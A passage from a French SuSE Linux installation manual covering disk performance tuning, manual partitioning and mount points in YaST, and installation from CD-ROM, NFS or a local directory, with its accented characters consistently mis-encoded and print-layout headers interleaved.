typique pour une telle machine de disposer d'une mΘmoire centrale un peu
plus importante (α partir de 512 Mo de RAM). Le seul point auquel un dΘbit
plus rapide du disque s'impose est constituΘ par d'Θventuelles partitions de
*
* 71
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
swap. La rΦgle α appliquer ici est la suivante : rΘpartir plusieurs partitions de
swap sur plusieurs disques4 .
2.9.3 PossibilitΘs d'optimisation
C'est la plupart du temps le disque qui impose des limites. Pour contourner
ce ``goulot d'Θtranglement'', il existe trois mΘthodes. Les deux premiΦres de-
vraient, de prΘfΘrence, Ωtre appliquΘes en mΩme temps :
~ RΘpartir la charge de faτon Θgale sur plusieurs disques.
~ Doter le serveur de fichiers de suffisamment de mΘmoire (128 Mo au
minimum).
~ Utiliser un systΦme de fichiers optimisΘ (par exemple reiserfs ).
ParallΘlisation par plusieurs disques
La mΘthode mentionnΘe en premier requiert une explication approfondie. Le
temps global qui s'Θcoule avant que le fichier demandΘ soit mis α disposition
peut Ωtre dΘcoupΘ grosso modo de la faτon suivante :
1. Temps nΘcessaire α la demande pour parvenir au contr⌠leur du disque.
2. Temps nΘcessaire au contr⌠leur pour envoyer la demande au disque dur.
3. Temps nΘcessaire au disque dur pour positionner sa tΩte.
4. Temps nΘcessaire au support pour se tourner vers le secteur adΘquat.
5. Temps nΘcessaire α la transmission.
Le point 1 dΘpend de la connexion rΘseau et doit Ωtre rΘglΘ α ce niveau. Nous
ne nous attarderons pas plus longtemps sur ce sujet. Le point 2 reprΘsente un
laps de temps relativement nΘgligeable qui dΘpend du contr⌠leur du disque.
Le point 3 constitue en fait le gros morceau. Le positionnement est mesurΘ en
ms, ce qui, comparΘ aux temps d'accΦs α la mΘmoire centrale mesurΘs en ns,
reprΘsente un facteur de 1 million ! Le point 4 dΘpend de la vitesse de rotation
du disque. Le point 5 dΘpend de la vitesse de rotation et du nombre de tΩtes
ainsi que de la position actuelle de la tΩte (interne, externe).
Pour obtenir une performance optimale, il faudrait donc s'attaquer d'abord
au point 3. Ici la fonction ``disconnect'' des pΘriphΘriques SCSI entre en jeu.
Avec cette fonction il se passe plus ou moins ce qui suit :
Le contr⌠leur envoie au pΘriphΘrique connectΘ (dans ce cas le disque dur)
la commande ``Passe α la piste x, secteur y''. La mΘcanique inerte du disque
doit maintenant se mettre en mouvement. Si le disque est intelligent et maε-
trise donc disconnect et si le pilote pour le contr⌠leur maεtrise aussi cette
fonction, le contr⌠leur envoie, immΘdiatement aprΦs, une commande discon-
nect au disque et celui-ci se dΘconnecte du bus SCSI. DΘsormais, d'autres
pΘriphΘriques SCSI peuvent effectuer leurs transferts. Au bout d'un certain
temps (dont la durΘe dΘpend de la stratΘgie mise en oeuvre ou de la charge
_____________________________________________4
Si vous envisagez d'utiliser le noyau 2.0.xx dans votre systΦme, n'oubliez pas qu'une partition
de swap ne doit pas dΘpasser 128 Mo. Linux peut cependant gΘrer sans problΦme 8 de ces
partitions ~ et mΩme 64 avec quelques petites modifications. Avec le noyau 2.2.xx, la limite
d'une partition de swap se situe α 2 Go.
72
_______________________________________________________________________________________2.9.__Partitionnement_avancΘ_________*
*______________________
qui se trouve sur le bus SCSI), la connexion avec le disque dur est de nouveau
activΘe. Dans le cas idΘal celle-ci a dΘjα atteint la piste requise.
Dans un systΦme d'exploitation multitΓche/multiutilisateur tel que Linux, on
peut bien s√r faire une optimisation Θpatante. Voyons maintenant un extrait
d'une sortie de la commande df (voir l'affichage α l'Θcran 2.9.1).
_______________________________________________________________________________________________________________________
|||||||| Filesystem 1024-blocks Used Available Capacity Mounted on |
|||||||| /dev/sda2 45835 27063 16152 63% / |
|||||||| /dev/sdb1 992994 749694 192000 80% /usr |
|||||||| /dev/sdc1 695076 530926 133412 80% /usr/lib |
||||||||_______________________________________________________________________________________________________________ |
affichage α l'Θcran 2.9.1: Exemple d'un partitionnement : Affichage obtenu
par la commande df .
Que nous apporte cette parallΘlisation ? Supposons que nous fassions dans
/usr/src l'entrΘe suivante :
root@terre:/usr/src/ > tar xzf paket.tgz -C /usr/lib
Cela doit donc installer paket.tgz vers /usr/lib/paket. └ cette fin, tar et
gzip seront invoquΘs par le shell (ils se trouvent sous /bin ainsi que sous
/dev/sda), ensuite paket.tgz sera lu par /usr/src (il se trouve sous
/dev/sdb). Pour terminer, les donnΘes extraites seront Θcrites vers /usr/lib
(se trouve sous /dev/sdc). Le positionnement ainsi que la lecture/Θcriture de
la mΘmoire tampon interne du disque peuvent maintenant Ωtre exΘcutΘs de fa-
τon pratiquement parallΦle.
Mais ce n'est qu'un exemple entre plusieurs. Selon une rΦgle approxima-
tive, on peut dire que si l'on dispose de plusieurs disques (de la mΩme vi-
tesse) /usr et /usr/lib devraient se trouver sur des disques diffΘrents. Et
/usr/lib devrait avoir environ 70% de la capacitΘ de /usr. Dans ce cas, le
rΘpertoire racine / devrait se trouver, en raison de la frΘquence des accΦs, sur
le mΩme disque que /usr/lib.
└ partir d'un certain nombre de disques SCSI (4 α 5 environ), on devrait en-
visager sΘrieusement d'avoir recours α une solution RAID de type logiciel ou
mieux encore de faire l'acquisition d'un contr⌠leur RAID. Les opΘrations sur
les disques ne se dΘrouleront plus de faτon pratiquement parallΦle mais de
faτon exactement parallΦle. La tolΘrance aux erreurs constitue une caractΘris-
tique secondaire apprΘciable.
DΘbit du disque et taille de la mΘmoire centrale
Dans plusieurs passages, nous attirons votre attention sur le fait que la taille
de la mΘmoire centrale sous Linux a souvent plus d'importance que la vitesse
du processeur. L'une des raisons ~ et c'est peut-Ωtre mΩme la raison principale
~ est la propriΘtΘ que possΦde Linux de crΘer des mΘmoires tampons dyna-
miques avec les donnΘes du disque dur. Linux travaille ici avec tout un tas
d'astuces telles que ``read ahead'' (il recherche, par prΘcaution, des secteurs
α l'avance) et ``delayed write'' (il s'Θpargne des accΦs en Θcriture pour tout
exΘcuter en une seule opΘration). Ce dernier point est la raison pour laquelle
on ne doit pas Θteindre brutalement une machine sous Linux. Ces deux points
ont pour consΘquence que la mΘmoire centrale se remplit de faτon apparente
au fil du temps et que Linux est d'une extrΩme rapiditΘ.
*
* 73
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Mem: 63total304 used62312 free 99shared2 buffers15920cached38692 4200 *
* |
||-/+ buffers: 19420 43884 *
* ||
| Swap: 199508 14548 184960 *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 2.9.2: La sortie de free
L'affichage 2.9.2 montre que dans l'exemple ci-dessus il y a bien 38 Mo de
stockΘs dans les mΘmoires tampons. Si l'on veut accΘder α certaines donnΘes
qui se trouvent encore dans la mΘmoire tampon, celles-ci sont pratiquement
disponibles immΘdiatement.
74
_______________________________________________________________2.10.__Configuration_manuelle_du_disque_dur__________________*
*______________________
2.10 Configuration manuelle du disque dur
2.10.1 Configurer les partitions
De quoi est-il question ?
Au paragraphe 2.2.4 page 33, vous avez dΘcidΘ de partitionner en mode inter-
actif. Nous vous prΘsentons ici les masques de YaST avec lesquels vous allez
vous voir confrontΘ.
Vous trouverez des informations d'arriΦre-plan sur les diffΘrents types de
partitions dans un document de Andries Brouwer (http://www.win.tue.
nl/~aeb/partitions/).
Pas α pas : : :
Voici comment vous devez procΘder pour installer vos partitions :
1. YaST vous prΘsente un Θcran divisΘ en plusieurs zones (voir figure 3.9
page 89) :
~ Tout en haut, vous voyez les paramΦtres de votre disque dur.
~ Dans la deuxiΦme zone, vous voyez d'Θventuels avertissements et mes-
sages d'erreur du programme_fdisk_. Vous pouvez voir de plus prΦs ces
messages en appuyant sur |F___|6.
~ Dans la partie infΘrieure se trouvent les partitions que fdisk a dΘtectΘes
sur le disque dur. Vous pouvez voir la ou les partitions du systΦme d'ex-
ploitation que vous possΘdiez dΘjα, par exemple les partitions MSDOS.
Si vous aviez dΘjα crΘΘ une partition de swap, celle-ci est Θgalement
prΘsente ici.
2. Si vous voulez effacer des partitions existantes afin de repartitionner l'es-
pace devenu disponible, vous devriez le faire en tout premier lieu.
AccΘdez α la partition α effacer avec |#__|et |"__|. RΘflΘchissez bien encore
une fois afin d'Ωtre s√r qu'il s'agit de la bonne_partition_et tenez compte
aussi du_type_de partition. Appuyez ensuite sur |___F|4et validez l'effacement
avec |_____-|.
_______________________________________________________________________________________________________________________||
|||||||| Si vous effacez des partitions, toutes les donnΘes qu'elles contiennent se- ||| |
|||||||| ront Θgalement effacΘes. Ceci n'est pas exact α 100% sur le plan technique || |
|||||||| || |
|||||||| mais vos donnΘes seront quand mΩme perdues ! || |
||||||||_______________________________________________________________________________________________________________||_
Si vous voulez effacer plusieurs partitions, faites-le de prΘfΘrence en une
seule opΘration.
3. Si vous voulez utiliser pour Linux les partitions dΘjα existantes d'autres
systΦmes d'exploitation, vous pouvez le faire en changeant maintenant le
type de la partition.
_______________________________________________________________________________________________________________________||
|||||||| Si vous changez le type d'une partition, il se peut qu'il ne soit plus possible ||| |
|||||||| || |
|||||||| d'accΘder aux donnΘes qu'elle contient α partir d'autres systΦmes d'exploi- || |
|||||||| tation (MS-DOS ou Windows) ! || |
||||||||_______________________________________________________________________________________________________________||_
*
* 75
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
AccΘdez α la partition dont vous voulez changer le type avec |#__|et |"__|._Si
vous Ωtes s√r qu'il s'agit bien de la ``bonne'' partition, appuyez sur |F___|3
Il apparaεt une fenΩtre de sΘlection pour le nouveau type de partition.
Choisissez entre _une_ partition Linux normale et une partition de swap
et validez avec |_____-|.
4. Si vous voulez crΘer de nouvelles partitions pour Linux ~ c'est ce qui se
passe en cas normal ~, crΘez-les de_prΘfΘrence_les_unes aprΦs les autres.
Pour cela, appuyez d'abord sur |F___5|. Si |F___5|ne produit aucun effet, cela
signifie : Le disque est dΘjα plein, il n'y a plus de place pour de nouvelles
partitions. Vous devez alors commencer par effacer des partitions (voir
plus haut) : : :
Fig. 2.18: YaST ~ DΘterminer le partitionnement
Il apparaεt une fenΩtre de sΘlection pour le mode de la partition α crΘer
(figure 2.18). Choisissez entre `Partition primaire', `Partition_
Θtendue' et le cas ΘchΘant `Partition logique' ; validez avec |_____-|.
Rappel : Vous ne pouvez avoir que 4 partitions primaires au maximum.
S'il vous faut plus de 4 partitions, vous devrez transformer au plus tard
la 4Φme partition en partition Θtendue dans laquelle vous pourrez crΘer
plusieurs partitions logiques. Vous trouverez d'autres informations α ce
sujet au paragraphe 2.8 page 67.
Si vous avez crΘΘ une partition primaire ou logique, vous devrez spΘcifier
le nom de pΘriphΘrique sous lequel il sera accΘdΘ α la partition. YaST
vous propose les noms de pΘriphΘriques disponibles. SΘlectionnez tout
simplement le__nom_ situΘ en tΩte de liste par exemple `/dev/hda2' et
appuyez sur |_____-|.
Dans la prochaine phase, vous devrez dΘterminer la taille de la nouvelle
partition. YaST vous propose comme dΘbut de la partition (cylindre de dΘ-
part) le premier cylindre disponible. En cas normal, vous validerez avec
|______|-. Passons maintenant α la fin de la partition. Il y a ici 3 entrΘes pos-
76
_______________________________________________________________2.10.__Configuration_manuelle_du_disque_dur__________________*
*______________________
sibles : le numΘro du cylindre de fin (par exemple 976 ), le nombre des
cylindres de la partition (par exemple__+66_ ) ou la taille en mΘga-octets
(par exemple +100M_ ). Encore une fois |_____-|vous ramΦne α `Continuer'.
Validez avec |_____-|.
Maintenant, la partition nouvellement crΘΘe apparaεt dans la zone infΘ-
rieure de l'Θcran. Si la partition n'est_ pas telle que vous le souhaitiez,
vous pouvez l'effacer immΘdiatement avec |F___|4: : :
5. L'une de vos partitions devrait absolument Ωtre une partition de swap Li-_ _
nux. Si vous n'en avez encore crΘΘ aucune, sΘlectionnez avec |_#|et |_"|
une partition appropriΘe (pour trouver la taille adΘquate de la_partition de
swap, reportez-vous au paragraphe 2.8 page 67. Appuyez sur |F___|3et_sΘ-
lectionnez l'option `Partition de swap Linux', validez avec |_____-|.
6. Avez-vous rassemblΘ toutes les partitions comme vous le souhaitiez
(maintenant le disque devrait Ωtre complΦtement occupΘ) ? Avez-vous
aussi_pensΘ_α la partition de swap ? Positionnez alors le curseur, α l'aide
de |T____a|b, dans le champ `Continuer', α moins qu'il ne s'y trouve dΘjα.
||____|-vous amΦne, aprΦs que vous ayez validΘ encore une fois, dans le
masque d'entrΘe `DΘtermination des systΦmes de fichiers'.
Sous certaines conditions, YaST vΘrifie encore une fois la partition de swap
pour mettre toutes les chances de votre c⌠tΘ.
2.10.2 DΘterminer les systΦmes de fichiers et les ``points de montage''
De quoi est-il question ?
Au paragraphe prΘcΘdent, toutes les partitions ont ΘtΘ inscrites dans la table
des partitions. Dans la prΘsente phase, vous fournirez des informations com-
plΘmentaires sur les partitions Linux qui viennent d'Ωtre configurΘes ainsi que
sur les partitions DOS-/HPFS Θventuellement prΘsentes.
Informations complΘmentaires
Ces informations sur les partitions seront en partie conservΘes de faτon per-
manente dans le fichier /etc/fstab de la table du systΦme de fichiers (angl.
file system table). Ce fichier contient toutes les donnΘes constantes concernant
les systΦmes de fichiers comme par exemple les noms de + pΘriphΘriques, la
position du systΦme de fichiers dans l'arborescence de tous les systΦmes de
fichiers Linux ou le type du systΦme de fichiers5
Par ailleurs, YaST a besoin des donnΘes elles-mΩmes pour pouvoir installer
les systΦmes de fichiers Linux sur les partitions formatΘes. Il n'est pas tenu
compte, dans cette phase de travail, de la partition de swap car elle a dΘjα
ΘtΘ dΘterminΘe au paragraphe 2.10.1 page 75 et elle n'a pas d'autre degrΘ de
libertΘ.
Contrairement au tables des partitions (voir paragraphe 2.10.1 page 75), les
spΘcifications faites dans cette phase de travail sont internes α Linux et n'ont
5 ____________________________________________________
Ainsi que des informations sur les programmes dump et fsck . Voir page de man de fstab
(man 5 fstab ).
*
* 77
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
aucune influence sur d'autres systΦmes d'exploitation qui se trouvent sur leurs
propres partitions.
Encore quelques explications de termes :
~ Sous Linux, tous les systΦmes de fichiers sont groupΘs en une seule ``arbo-
rescence'' (voir la figure C.1 page 529). Pour chaque systΦme de fichiers,
il doit Ωtre dΘfini quelle branche de l'arborescence il devra reprΘsenter :
c'est lα son + point de montage. Vous pouvez aussi ``raccrocher'' des par-
titions DOS ou HPFS α l'arborescence des rΘpertoires Linux.
~ L'espace mΘmoire dans un systΦme de fichiers est gΘrΘ α l'aide des
+ i-noeuds. Les i-noeuds pointent sur les donnΘes proprement dites qui
sont enregistrΘes dans les fichiers. Le nombre d'i-noeuds est dΘterminΘ
lors de la crΘation d'un systΦme de fichiers. Si l'on veut pouvoir crΘer
beaucoup de petits fichiers, on a besoin d'un nombre important d'i-
noeuds (qui occupent aussi bien s√r plus de la place). Dans les systΦmes
de fichiers qui contiennent surtout des fichiers de grande taille, on a
donc besoin d'un moins grand nombre d'i-noeuds. Vous trouverez plus
d'informations α ce sujet au paragraphe 3.3.10 page 91.
Pas α pas : : :
Vous vous trouvez dans le masque d'entrΘe `DΘtermination des sys-
tΦmes de fichiers' (voir figure 3.10 page 90). Nous allons vous indiquer
la marche α suivre pour dΘterminer les systΦmes de fichiers de vos nouvelles
partitions :
1. Tout d'abord, une information prΘalable avant de commencer :
~ Pour vos systΦmes de fichiers DOS/FPFS (dans les partitions
DOS/HPFS), vous pouvez dΘfinir ici un + point de montage.
~ Pour chaque nouvelle partition Linux
~ vous devez dΘfinir un point de montage.
~ Vous pouvez, avec `F3=dΘterminer le type', choisir un sys-
tΦme de fichiers (ext2 ou reiserfs ).
~ vous pouvez, avec `F5=Menu expert' affiner votre configuration.
~ vous pouvez, avec `F6=Formater' modifier le type du formatage
qui vous est proposΘ (avec ou sans vΘrification).
~ La fonction `Lire Fstab' ne vous sert pas dans le cas d'une pre-
miΦre installation
2. Vous pouvez dΘterminer le type de votre systΦme de fichiers Linux avec
|____|F3. Vous disposez actuellement du systΦme de fichiers bien ΘprouvΘ ext2
ainsi que du nouveau reiserfs qui offre des possibilitΘs avancΘes.
________________________________________________________________________________________________________*
*________||
| ReiserFS ne peut pas Ωtre utilisΘ conjointement α RAID 1 et RAID 5 logi- *
* ||||
| ciels. Avec le RAID matΘriel, il n'y a aucune restriction. ~ reiserfs est *
* |||
| *
* |||
| beaucoup plus rΘcent que le systΦme de fichiers ext2 qui n'a plus α faire *
* |||
| ses preuves. Tenez compte de ce fait si vous vous dΘcidez pour reiserfs . *
* |||
| *
* |||
| Voir, au sujet de ReiserFS, la page 90. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
78
_______________________________________________________________2.10.__Configuration_manuelle_du_disque_dur___________________*
*_____________________
Fig. 2.19: YaST ~ Monter la partition DOS/Windows
3. Si vous voulez accΘder depuis Linux_α_une partition DOS ou HPFS, sΘlec-
tionnez celle-ci et appuyez sur |F___|4. Il apparaεt une fenΩtre d'entrΘe dans
laquelle vous devez spΘcifier un rΘpertoire. C'est sous ce rΘpertoire que
vous trouverez plus tard votre systΦme de fichiers DOS/HPFS. SΘlection-
nez `Autre entrΘe' et spΘcifiez ici par exemple_/dosc sans oublier la
barre oblique (`/') au dΘbut. Validez avec |_____-|.
Dans le cas d'une partition DOS, il apparaεt un autre masque (fi-
gure 2.19) ; vous choisirez de quelle maniΦre Linux devra accΘder au
systΦme de fichiers DOS (voir aussi le paragraphe 3.3.10 page 91). Nor-
malement, vous voudrez vous servir de votre systΦme de fichiers DOS de
faτon indΘpendante et n'accΘder, α partir de Linux, que sporadiquement α
la partition DOS, par exemple pour l'Θchange des fichiers. SΘlectionnez
ici `DOS'. Les attributs des fichiers UNIX et les noms de fichiers longs
que permet le systΦme de fichiers + UMSDOS ne sont nΘcessaires que
si vous voulez installer sur une partition DOS ~ Θvitez toutefois ce type
d'installation dans la mesure du possible !
4. Ensuite, vous spΘcifierez le + point de montage des partitions Linux. SΘ- ___
lectionnez l'une aprΦs l'autre les partitions Linux, appuyez sur |___F|4. Il
apparaεt une fenΩtre dans laquelle vous spΘcifierez le rΘpertoire sous le-
quel le systΦme de fichiers de cette partition devra apparaεtre dans l'en-
semble du systΦme de fichiers. SpΘcifiez toujours le chemin avec une barre
oblique au dΘbut.
Le rΘpertoire que vous spΘcifierez comme point de montage dΘpend bien
s√r de votre plan de partitionnement. Il vous faut en tout cas un fichier
racine (root) / qui constitue la racine et la base de l'ensemble du systΦme
de fichiers. Les autres systΦmes de fichiers et leurs points de montage
dΘpendent, comme nous l'avons dΘjα dit, du go√t de chacun. Toutefois
attention :
*
* 79
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Les rΘpertoires qui sont dΘjα nΘcessitΘs lors de l'amorτage doivent se trou- *
* ||||
|| ver directement dans le systΦme de fichiers /. └ ce stade, les diffΘrentes *
* ||||
| branches de l'ensemble du systΦme de fichiers ne sont pas encore mon- *
* ||||
| *
* |||
| tΘes. C'est pourquoi vous ne devez pas spΘcifier ici les fichiers /bin,/dev, *
* |||
| /lib, /etc et /sbin ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
5. Ignorez le `menu expert', si vous faites vos dΘbuts sous Linux En rΦgle
gΘnΘrale, les configurations par dΘfaut sont automatiquement dΘterminΘes
de maniΦre α garantir un fonctionnement s√r et fiable. Ne modifiez les
valeurs proposΘes que si vous savez exactement ce qu'une modification
peut entraεner (voir page 91) !
6. DΘterminez si les partitions doivent Ωtre formatΘes et, le cas ΘchΘant,
de quelle maniΦre. Les partitions que vous avez reconfigurΘes au pa-
ragraphe 2.10.1 page 75 doivent absolument Ωtre formatΘes. Si vous
disposez d'un disque dur moderne, il suffit de sΘlectionner `Formater
normalement'. Si votre mΘmoire de masse n'est plus toute fraεche, vous
devriez sΘlectionner `Formater en vΘrifiant'.
Fig. 2.20: YaST ~ Points de montage
Choisissez l'une aprΦs l'autre vos partitions Linux, appuyez sur |____|F6et
sΘlectionnez ensuite le mode de formatage appropriΘ. Le menu devrait
alors ressembler α celui de la figure 2.20 (mais il est possible que vous
n'ayez pas inscrit de rΘpertoire NFS !
7. SΘlectionnez `Continuer' et le formatage de la partition aura lieu aprΦs
que vous ayez rΘpondu α une question de sΘcuritΘ.
80
Chapitre 3
YaST ~ Yet another Setup Tool
YaST (yast ) est un ΘlΘment essentiel de SuSE Linux. Il vous aide α installer
le systΦme, α gΘrer les logiciels (installation et dΘsinstallation) et vous apporte
un soutien pour l'administration du systΦme.
Ce chapitre a pour objectif de dΘcrire les fonctions les plus importantes de
YaST afin de vous rendre l'installation aussi simple que possible.
_______________________________________________________________________________________________________________________||
|||||||| Avec SuSE Linux 6.4, il vous est fourni un YaST qui a fait l'objet d'une ||| |
|||||||| nouvelle Θlaboration et les figures (captures d'Θcran) contenues dans le || |
|||||||| || |
|||||||| manuel ne sont plus tout α fait exactes. || |
||||||||_______________________________________________________________________________________________________________||_
3.1 Utilisation de YaST et disposition du clavier
Vous lancez YaST au message d'+ invite par la commande yast :
terre: # yast
On utilise le programme YaST essentiellement_α l'aide des touches du curseur
et de la touche de tabulation (|T____a|b). Vous pouvez__vous__dΘplacer _dans__les_
listes en_vous_servant_des touches du curseur ainsi que de |B_________|ildet"|B_________|ild. #
Avec |||______E|space, vous pouvez choisir des__options_ dans les__listes_ de sΘlection.
Normalement, la sΘlection doit Ωtre validΘe avec |E_________|ntrΘeou |_____-|.
Avec ╔|||_____|chap, vous pouvez en rΦgle gΘnΘrale quitter les menus. Si vous sou-
haitez conserver les_configurations_que vous avez faites, vous devez valider
votre choix avec |F____1|0.
Pour les questions auxquelles il faut rΘpondre par oui_ou_par non ainsi que
pour les champs d'entrΘe de texte, vous pouvez, avec |____Ta|b, passer d'un champ
α l'autre ou d'un bouton α l'autre. Si vous utilisez YaST en mode couleurs, la
sΘlection active est toujours reprΘsentΘe en bleu.
Dans de rares cas, par exemple si vous dΘmarrez YaST α distance depuis
un terminal non Linux, il ne vous sera pas possible dans le texte qui va
suivre ou dans la barre infΘrieure de YaST , d'utiliser les touches de fonction
du fait que les codes des touches seront interprΘtΘs simultanΘment._Dans_ce________
cas, vous devrez simuler_l'utilisation_de_la_touche_de_fonction |F_________________|<chiffre>_
par la combinaison_|C______t|rl+|f__||_______________<|chiffre>._Pour_|F____1|0,_vous_pouvez faire la
combinaison |C______|trl+|f_ ||_0|. Les touches de fonction |F____1|1et |F____1|2ne sont pas
utilisΘes sous YaST .
*
* 81
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
3.2 Le menu principal de YaST
Lorsque vous dΘmarrez YaST , vous vous trouvez dans le ``menu principal''
(figure 3.1).
Fig. 3.1: Le ``menu principal'' de YaST
`Aide α l'installation et pour la disposition du clavier'
Informations diverses
`Configurations pour l'installation ->' Cette option comprend
une sous-option (voir paragraphe 3.3).
`DΘterminer/dΘmarrer l'installation' └ partir de lα, on arrive au
choix des paquetages logiciels α installer ou α supprimer du systΦme (voir
paragraphe 3.4 page 94).
`Mettre α jour le systΦme' Si certains paquetages doivent Ωtre actua-
lisΘs.
`Administration du systΦme ->' C'est par cette option que l'on dΘ-
ploie le menu pour l'administration du systΦme (voir paragraphe 3.6
page 100).
`Afficher le fichier README du support d'installation'
Informations complΘmentaires importantes.
`Copyright' La parole est aux juristes.
`Quitter YaST' ~ Toute chose a une fin.
3.3 Configurations pour l'installation
Toutes les configurations importantes pour l'installation seront effectuΘes
dans le sous-menu `Configurations_ pour l'installation' (figure 3.2
page suivante). Avec |╔_______c|hap, vous pourrez quitter les menus.
L'installation proprement dite ne peut Ωtre rΘalisΘe que si vous avez spΘci-
fiΘ vos partitions de destination ! Il est encore possible aprΦs l'installation de
choisir quelques options si l'on souhaite actualiser certains dΘtails de la confi-
guration.
82
________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
*______________________
Fig. 3.2: Menu `Configurations pour l'installation'
3.3.1 DΘterminer la langue
Avec l'option `DΘterminer la langue', vous pouvez changer la langue
des masques de YaST . La valeur est insΘrΘe dans la variable LANGUAGE posi-
tionnΘe dans /etc/rc.config (voir page 452).
3.3.2 SΘlectionner la disposition du clavier
Avec `SΘlectionner la disposition du clavier', vous pouvez mo-
difier l'affectation des touches du clavier. La valeur est insΘrΘe dans la va-
riable <KEYTABLE> inscrite dans /etc/rc.config (voir paragraphe 17.6
page 452).
3.3.3 SΘlectionner le support d'installation
Ce dialogue (figure 3.3 page suivante) vous donne la possibilitΘ de sΘlection-
ner le support α partir duquel vous voulez installer en invoquant l'option du
menu `SΘlectionner la source d'installation'.
Dans le cas le plus frΘquent, vous choisirez ici l'option du menu `Instal-
lation α partir du CD-ROM' si vous voulez installer directement α partir
du lecteur de CD-ROM de votre machine.
En passant par l'option du menu `Installation α partir d'une par-
tition de disque dur', vous pouvez aussi installer votre systΦme mΩme
si votre lecteur de CD-ROM n'est pas directement supportΘ par Linux (voir
paragraphe 3.3.5 page suivante). Si vous avez intΘgrΘ le contenu des CD dans
l'arborescence Linux, vous pouvez sΘlectionner l'option `Installation α
partir d'un rΘpertoire accessible'.
Avec `Installation via NFS' ou `Installation α partir d'un
serveur FTP', vous pouvez installer Linux sur une machine qui ne dispose
pas de son propre lecteur de CD-ROM, α condition toutefois qu'elle soit
reliΘe par + Ethernet α une machine dotΘe d'un lecteur de CD-ROM. Lisez α
ce sujet le paragraphe 3.3.6 page 85 ou le paragraphe 3.3.8 page 87.
*
* 83
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Fig. 3.3: SΘlection de la source d'installation dans YaST
3.3.4 Installation α partir du CD-ROM
Fig. 3.4: SΘlection du lecteur de CD-ROM
Si vous pouvez installer directement α partir d'un CD-ROM, spΘcifiez ici le
type de votre lecteur. Si vous Ωtes indΘcis, commencez vos essais avec les
lecteurs `ATAPI EIDE'.
3.3.5 Installation α partir d'une partition du disque dur
Dans le cas o∙ votre lecteur de CD-ROM ne serait pas directement supportΘ
par Linux, vous pouvez quand mΩme installer le systΦme sur votre machine.
Mais vous devrez alors faire un dΘtour en passant par un autre support d'ins-
tallation.
84
________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
*______________________
3.3.6 Installation via NFS
L'installation par le biais d'un rΘseau donne aux utilisateurs de Linux pos-
sΘdant dΘjα une certaine expΘrience la possibilitΘ d'installer simplement et
commodΘment plusieurs machines, mΩme si une seule d'entre elles est dotΘe
d'un lecteur de CD-ROM ou dans le cas o∙ les fichiers sources peuvent Ωtre
mis α disposition sur un disque dur accessible via + NFS. Il est toutefois nΘ-
cessaire que vous soyez familiarisΘ avec la configuration d'un serveur NFS
avant de vous lancer dans une installation via NFS.
Cette caractΘristique rend Θgalement possible l'installation d'un portable type
notebook disposant d'une carte rΘseau PCMCIA.
Fig. 3.5: EntrΘe des donnΘes du rΘseau pour l'installation NFS
L'installation via NFS n'est pas seulement possible pour les machines inter-
connectΘes par Ethernet mais elle peut aussi se faire sur une machine connec-
tΘe sur port parallΦle α un serveur. Cette caractΘristique prΘsente un intΘrΩt
particulier pour les laptops et les notebooks. Si vous voulez procΘder α une
telle installation, vous devrez naturellement sΘlectionner, lors de l'amorτage,
un noyau disposant d'un support PLIP. Mais dans ce cas il vous faudra effec-
tuer quelques paramΘtrages supplΘmentaires afin que l'interface PLIP puisse
Ωtre configurΘe de faτon correcte.
Si vous Ωtes reliΘ directement au serveur NFS, l'adresse de la machine PLIP
distante est la mΩme que celle que vous devrez spΘcifier ensuite comme
adresse du serveur NFS. L'inferface PLIP sera dans la majeure partie des
cas plip1 . Les paramΦtres matΘriels ne devraient pas non plus, sauf dans de
trΦs rares cas, s'Θloigner des valeurs courantes.
Notez toutefois que si vous utilisez le port parallΦle comme interface PLIP,
vous ne pourrez plus vous servir d'une imprimante sur celui-ci ! Dans de
nombreux cas, une imprimante connectΘe α une telle interface provoque une
rΘinitialisation permanente dΦs que le pilote entre en action !
*
* 85
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Fig. 3.6: Configuration PLIP
Dans le masque suivant, vous spΘcifierez l'adresse IP du serveur NFS ainsi
que le rΘpertoire qui abrite les fichiers sources. Le serveur doit bien entendu
exporter ce rΘpertoire vers la machine sur laquelle se fait la nouvelle installa-
tion !
3.3.7 Installation α partir d'un rΘpertoire accessible
Cette option sert essentiellement α installer des logiciels supplΘmentaires
lorsque Linux tourne dΘjα. Elle offre par ailleurs, le cas ΘchΘant, la possibilitΘ
d'installer Linux avec des lecteurs pour lesquels aucun pilote n'Θtait encore
disponible au moment de la crΘation du CD.
Pour pouvoir maintenant, α partir de YaST , accΘder α ce lecteur, lancez
d'abord_YaST_. Lorsque_ce sera fait, passez sur une autre console (par exemple
avec |____Al|t+|F___|2sur le deuxiΦme console virtuelle) et connectez-vous sur celle-
ci en tant qu'utilisateur `root'.
└ partir de cette console, vous devrez alors + monter votre lecteur de CD-
ROM manuellement sur un rΘpertoire prΘcis en tapant par exemple :
terre: # mount -tiso9660 /dev/cdrom /cdrom
Voyez aussi α ce sujet le paragraphe 19.11.2 page 500.
Vous pouvez maintenant procΘder α une installation tout α fait normale. Pour
cela, vous devrez spΘcifier dans le prochain masque (figure 3.7 page suivante)
le rΘpertoire qui abrite les fichiers sources. C'est le rΘpertoire sur lequel le CD
a ΘtΘ montΘ, complΘtΘ par le chemin suse.
Si vous avez par exemple montΘ le lecteur (ou la partition de disque dur sur
le rΘpertoire /cdrom, faites alors la mΩme entrΘe que dans la figure 3.7 page
ci-contre :
/cdrom/suse
86
________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
*______________________
Fig. 3.7: SpΘcification du rΘpertoire source
3.3.8 Installation via FTP
Tout comme avec NFS, vous avez ici la possibilitΘ d'installer SuSE Linux
